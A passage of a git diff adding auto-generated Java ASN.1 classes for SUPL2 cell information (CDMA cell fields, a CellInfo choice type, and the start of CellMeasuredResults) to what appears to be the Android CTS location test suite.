+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefWeekNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefWeekNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.refWeekNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refWeekNumber : "
+ + getRefWeekNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSeconds() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSeconds();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSecondsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.refSecondsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSeconds : "
+ + getRefSeconds().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refNIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refNIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refNIDType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refNIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refNIDType != null) {
+ return ImmutableList.of(TAG_refNIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refNIDType from encoded stream.
+ */
+ public static refNIDType fromPerUnaligned(byte[] encodedBytes) {
+ refNIDType result = new refNIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refNIDType from encoded stream.
+ */
+ public static refNIDType fromPerAligned(byte[] encodedBytes) {
+ refNIDType result = new refNIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refNIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refSIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSIDType() {
+ super();
+ setValueRange("0", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSIDType != null) {
+ return ImmutableList.of(TAG_refSIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSIDType from encoded stream.
+ */
+ public static refSIDType fromPerUnaligned(byte[] encodedBytes) {
+ refSIDType result = new refSIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSIDType from encoded stream.
+ */
+ public static refSIDType fromPerAligned(byte[] encodedBytes) {
+ refSIDType result = new refSIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refBASEIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refBASEIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refBASEIDType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refBASEIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refBASEIDType != null) {
+ return ImmutableList.of(TAG_refBASEIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refBASEIDType from encoded stream.
+ */
+ public static refBASEIDType fromPerUnaligned(byte[] encodedBytes) {
+ refBASEIDType result = new refBASEIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refBASEIDType from encoded stream.
+ */
+ public static refBASEIDType fromPerAligned(byte[] encodedBytes) {
+ refBASEIDType result = new refBASEIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refBASEIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refBASELATType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refBASELATType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refBASELATType() {
+ super();
+ setValueRange("0", "4194303");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refBASELATType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refBASELATType != null) {
+ return ImmutableList.of(TAG_refBASELATType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refBASELATType from encoded stream.
+ */
+ public static refBASELATType fromPerUnaligned(byte[] encodedBytes) {
+ refBASELATType result = new refBASELATType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refBASELATType from encoded stream.
+ */
+ public static refBASELATType fromPerAligned(byte[] encodedBytes) {
+ refBASELATType result = new refBASELATType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refBASELATType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reBASELONGType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_reBASELONGType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reBASELONGType() {
+ super();
+ setValueRange("0", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reBASELONGType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reBASELONGType != null) {
+ return ImmutableList.of(TAG_reBASELONGType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reBASELONGType from encoded stream.
+ */
+ public static reBASELONGType fromPerUnaligned(byte[] encodedBytes) {
+ reBASELONGType result = new reBASELONGType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reBASELONGType from encoded stream.
+ */
+ public static reBASELONGType fromPerAligned(byte[] encodedBytes) {
+ reBASELONGType result = new reBASELONGType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reBASELONGType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refREFPNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refREFPNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refREFPNType() {
+ super();
+ setValueRange("0", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refREFPNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refREFPNType != null) {
+ return ImmutableList.of(TAG_refREFPNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refREFPNType from encoded stream.
+ */
+ public static refREFPNType fromPerUnaligned(byte[] encodedBytes) {
+ refREFPNType result = new refREFPNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refREFPNType from encoded stream.
+ */
+ public static refREFPNType fromPerAligned(byte[] encodedBytes) {
+ refREFPNType result = new refREFPNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refREFPNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refWeekNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refWeekNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refWeekNumberType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refWeekNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refWeekNumberType != null) {
+ return ImmutableList.of(TAG_refWeekNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refWeekNumberType from encoded stream.
+ */
+ public static refWeekNumberType fromPerUnaligned(byte[] encodedBytes) {
+ refWeekNumberType result = new refWeekNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refWeekNumberType from encoded stream.
+ */
+ public static refWeekNumberType fromPerAligned(byte[] encodedBytes) {
+ refWeekNumberType result = new refWeekNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refWeekNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSecondsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refSecondsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSecondsType() {
+ super();
+ setValueRange("0", "4194303");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSecondsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSecondsType != null) {
+ return ImmutableList.of(TAG_refSecondsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSecondsType from encoded stream.
+ */
+ public static refSecondsType fromPerUnaligned(byte[] encodedBytes) {
+ refSecondsType result = new refSecondsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSecondsType from encoded stream.
+ */
+ public static refSecondsType fromPerAligned(byte[] encodedBytes) {
+ refSecondsType result = new refSecondsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSecondsType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CdmaCellInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellInfo.java
new file mode 100755
index 0000000..3f851e6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellInfo.java
@@ -0,0 +1,448 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.Ver2_CellInfo_extension;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CellInfo extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_CellInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "CellInfo: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public CellInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CellInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CellInfo != null) {
+ return ImmutableList.of(TAG_CellInfo);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new CellInfo from encoded stream.
+ */
+ public static CellInfo fromPerUnaligned(byte[] encodedBytes) {
+ CellInfo result = new CellInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CellInfo from encoded stream.
+ */
+ public static CellInfo fromPerAligned(byte[] encodedBytes) {
+ CellInfo result = new CellInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $GsmCell(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new GsmCellInformation();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GsmCellInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $WcdmaCell(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new WcdmaCellInformation();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WcdmaCellInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $CdmaCell(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new CdmaCellInformation();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CdmaCellInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isGsmCell() {
+ return !hasExtensionValue() && Select.$GsmCell == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isGsmCell}.
+ */
+ @SuppressWarnings("unchecked")
+ public GsmCellInformation getGsmCell() {
+ if (!isGsmCell()) {
+ throw new IllegalStateException("CellInfo value not a GsmCell");
+ }
+ return (GsmCellInformation) element;
+ }
+
+ public void setGsmCell(GsmCellInformation selected) {
+ selection = Select.$GsmCell;
+ extension = false;
+ element = selected;
+ }
+
+ public GsmCellInformation setGsmCellToNewInstance() {
+ GsmCellInformation element = new GsmCellInformation();
+ setGsmCell(element);
+ return element;
+ }
+
+
+
+ public boolean isWcdmaCell() {
+ return !hasExtensionValue() && Select.$WcdmaCell == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isWcdmaCell}.
+ */
+ @SuppressWarnings("unchecked")
+ public WcdmaCellInformation getWcdmaCell() {
+ if (!isWcdmaCell()) {
+ throw new IllegalStateException("CellInfo value not a WcdmaCell");
+ }
+ return (WcdmaCellInformation) element;
+ }
+
+ public void setWcdmaCell(WcdmaCellInformation selected) {
+ selection = Select.$WcdmaCell;
+ extension = false;
+ element = selected;
+ }
+
+ public WcdmaCellInformation setWcdmaCellToNewInstance() {
+ WcdmaCellInformation element = new WcdmaCellInformation();
+ setWcdmaCell(element);
+ return element;
+ }
+
+
+
+ public boolean isCdmaCell() {
+ return !hasExtensionValue() && Select.$CdmaCell == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCdmaCell}.
+ */
+ @SuppressWarnings("unchecked")
+ public CdmaCellInformation getCdmaCell() {
+ if (!isCdmaCell()) {
+ throw new IllegalStateException("CellInfo value not a CdmaCell");
+ }
+ return (CdmaCellInformation) element;
+ }
+
+ public void setCdmaCell(CdmaCellInformation selected) {
+ selection = Select.$CdmaCell;
+ extension = false;
+ element = selected;
+ }
+
+ public CdmaCellInformation setCdmaCellToNewInstance() {
+ CdmaCellInformation element = new CdmaCellInformation();
+ setCdmaCell(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ $Ver2_CellInfo_extension(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Ver2_CellInfo_extension();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Ver2_CellInfo_extension) element).toIndentedString(indent);
+ }
+ },
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+
+ public boolean isExtensionVer2_CellInfo_extension() {
+ return hasExtensionValue() && Extend.$Ver2_CellInfo_extension == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isVer2_CellInfo_extension}.
+ */
+ @SuppressWarnings("unchecked")
+ public Ver2_CellInfo_extension getExtensionVer2_CellInfo_extension() {
+ if (!isExtensionVer2_CellInfo_extension()) {
+ throw new IllegalStateException("CellInfo value not a Ver2_CellInfo_extension");
+ }
+ return (Ver2_CellInfo_extension) element;
+ }
+
+ public void setExtensionVer2_CellInfo_extension(Ver2_CellInfo_extension selected) {
+ selection = Extend.$Ver2_CellInfo_extension;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionVer2_CellInfo_extensionToNewInstance() {
+ Ver2_CellInfo_extension element = new Ver2_CellInfo_extension();
+ setExtensionVer2_CellInfo_extension(element);
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "CellInfo = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResults.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResults.java
new file mode 100755
index 0000000..4b50e26
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/CellMeasuredResults.java
@@ -0,0 +1,1504 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class CellMeasuredResults extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_CellMeasuredResults
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CellMeasuredResults() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CellMeasuredResults;
